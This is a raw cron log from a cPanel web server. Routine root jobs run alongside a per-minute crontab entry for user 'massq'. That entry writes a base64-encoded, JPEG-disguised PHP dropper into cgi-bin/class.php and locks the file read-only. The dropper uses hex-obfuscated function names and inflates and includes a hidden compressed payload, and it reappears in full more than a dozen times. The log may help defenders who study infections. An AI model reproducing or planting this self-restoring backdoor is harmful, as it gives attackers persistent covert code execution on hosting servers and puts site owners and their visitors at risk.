Aug 30 12:53:01 server CROND[13475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:53:01 server CROND[13476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:53:01 server CROND[13477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:54:01 server CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:54:01 server CROND[13850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:54:01 server CROND[13851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:55:01 server CROND[14264]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 12:55:01 server CROND[14266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:55:01 server CROND[14265]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 12:55:01 server CROND[14267]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:55:01 server CROND[14270]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 12:55:01 server CROND[14268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:55:01 server CROND[14269]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 12:56:01 server CROND[15085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:56:01 server CROND[15087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:56:01 server CROND[15086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:57:01 server CROND[15631]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 12:57:01 server CROND[15632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:57:01 server CROND[15634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:57:01 server CROND[15633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:58:01 server CROND[16065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:58:01 server CROND[16066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 12:58:01 server CROND[16067]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:59:01 server CROND[16473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 12:59:01 server CROND[16474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 12:59:01 server CROND[16482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:00:01 server CROND[16875]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 13:00:01 server CROND[16881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 30 13:00:01 server CROND[16878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 13:00:01 server CROND[16879]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 13:00:01 server CROND[16880]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 30 13:00:01 server CROND[16882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:00:01 server CROND[16883]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 30 13:00:01 server CROND[16884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:00:01 server CROND[16887]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:01:01 server CROND[17729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:01:01 server CROND[17730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:01:01 server CROND[17731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:01:01 server CROND[17732]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 13:01:01 server run-parts(/etc/cron.hourly)[17732]: starting 0anacron
Aug 30 13:01:01 server run-parts(/etc/cron.hourly)[17751]: finished 0anacron
Aug 30 13:02:01 server CROND[18147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:02:01 server CROND[18149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:02:01 server CROND[18148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:03:01 server CROND[18685]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:03:01 server CROND[18687]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:03:01 server CROND[18688]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:04:01 server CROND[19214]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 30 13:04:01 server CROND[19216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 13:04:01 server CROND[19222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 13:05:01 server CROND[19700]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
